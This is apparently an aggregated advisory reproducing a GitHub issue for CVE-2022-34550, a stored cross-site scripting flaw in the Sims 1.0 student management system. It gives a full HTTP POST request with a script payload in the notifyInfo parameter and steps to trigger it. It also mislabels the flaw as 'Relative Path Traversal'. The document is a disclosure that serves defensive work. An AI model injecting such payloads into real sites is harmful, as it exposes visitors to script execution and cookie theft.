Headline

CVE-2022-34550: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') · Issue #8 · rawchen/sims

Sims v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /addNotifyServlet. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the notifyInfo parameter.

2 years ago

CVE

Open in Source

#xss #vulnerability #web #mac #windows #apple #linux #js #git #chrome #webkit #firefox

****[Suggested description]****

This open source system is a student information management system. There was an insecurity vulnerability in the announcement. Attackers can use this vulnerability to implement cross-site scripting attacks on website visitors, such as “cookie theft” and "browser escape".
POST: http://localhost:8081/sims/addNotifyServlet

[Vulnerability Type]

Relative Path Traversal

****[Vendor of Product]****

https://github.com/rawchen/sims

****[Affected Product Code Base]****

1.0

****[Affected Component]****

Sims 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

****[Attack vector]****

POST /sims/addNotifyServlet HTTP/1.1
Host: localhost:8081
Content-Length: 61
Cache-Control: max-age=0
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8081/sims/notifyServlet
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=77DABFA8A6AB24922A384BFF7C7B9517
Connection: close
 
notifyInfo=%3Cscript%3Ealert%28%22123456%22%29%3C%2Fscript%3E

****[Attack Type]****

Remote

****[Impact Code execution]****

False

****[Proof of concept]****

Step1: Select “Announcement List” under the “System Management” tab, fill in the constructed payload into the input box, and publish it.

Step2: When accessing the bulletin, the vulnerability is triggered

[Reference(s)]

http://cwe.mitre.org/data/definitions/79.html